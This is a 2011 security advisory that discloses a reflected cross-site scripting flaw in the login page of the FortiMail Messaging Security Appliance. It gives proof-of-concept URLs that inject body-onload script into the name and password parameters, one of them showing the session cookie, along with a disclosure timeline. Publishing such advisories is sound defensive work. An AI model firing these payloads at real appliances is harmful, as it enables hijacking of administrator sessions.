Advisory: XSS vulnerability in FortiMail Messaging Security Appliance Advisory ID: SSCHADV2011-011 Author: Stefan Schurtz Affected Software: v4.0,build0245,101208 (MR1 Patch 2) Vendor URL: http://www.fortinet.com/ Vendor Status: informed ========================== Vulnerability Description: ========================== The Fortinet "FortiMail Messaging Security Appliance" is prone to a XSS vulnerability ================== Technical Details: ================== Tested on: FortiMail 100 / 400 Firmware version: v4.0,build0245,101208 (MR1 Patch 2) Internet Explorer 8 https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name='"<body onload=alert(666)>&password=admin https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name=admin&password='"<body onload=alert(666)> or https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name=<body onload=alert(String.fromCharCode(88,83,83))>&password=admin https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name=admin&password=<body onload=alert(String.fromCharCode(88,83,83))> or https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name=<body onload=alert(document.cookie)>&password=admin ========= Solution: ========= - ==================== Disclosure Timeline: ==================== 31-Aug-2011 - informed the Zero Day Initiative (ZDI) - no response 13-Sep-2011 - informed vendor 13-Sep-2011 - release date of this security advisory ======== Credits: ======== Vulnerability found and advisory written by Stefan Schurtz. =========== References: =========== http://www.fortinet.com/ http://www.rul3z.de/advisories/SSCHADV2011-011.txt
